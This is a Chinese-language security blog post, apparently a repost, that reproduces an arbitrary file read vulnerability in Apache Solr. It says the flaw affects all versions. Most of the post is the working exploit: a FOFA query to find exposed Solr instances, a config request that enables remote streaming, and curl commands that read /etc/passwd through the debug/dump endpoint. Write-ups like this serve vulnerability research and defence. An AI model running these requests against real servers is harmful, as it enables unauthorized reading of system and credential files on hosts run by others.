Apache Solr 任意文件读取漏洞复现

2022/03/01 安全漏洞 共 983 字,约 3 分钟

前言

Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现。

漏洞详情

近日skay师傅在审计solr的时候发现了一个任意文件读取漏洞,由于官方拒绝修复该漏洞,所以漏洞影响范围为Apache Solr全版本。

影响范围: Apache Solr全版本

漏洞复现

得到漏洞情报后,我们抓紧复现下。

首先fofa搜索 app=”APACHE-Solr”

打开首页:

我们需要先获取cores配置信息

http://target.com/solr/admin/cores?indexInfo=false&wt=json

接下来向服务器构造请求:


GET 请求
URL:
http://target.com/solr/db/config  //db替换为cores配置中的name参数


POST data:
{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

或者使用curl:

curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://target.com/solr/db/config -H 'Content-type:application/json'

最后构造请求读取文件:

URL:
http://target.com/solr/db/debug/dump?param=ContentStreams  //db替换为cores配置中的name参数

POST data:
stream.url=file:///etc/passwd

或者使用curl:

curl "http://target.com/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"

参考链接:

转载 https://www.freebuf.com/vuls/266648.html

https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ

https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg

文档信息

Search

    Table of Contents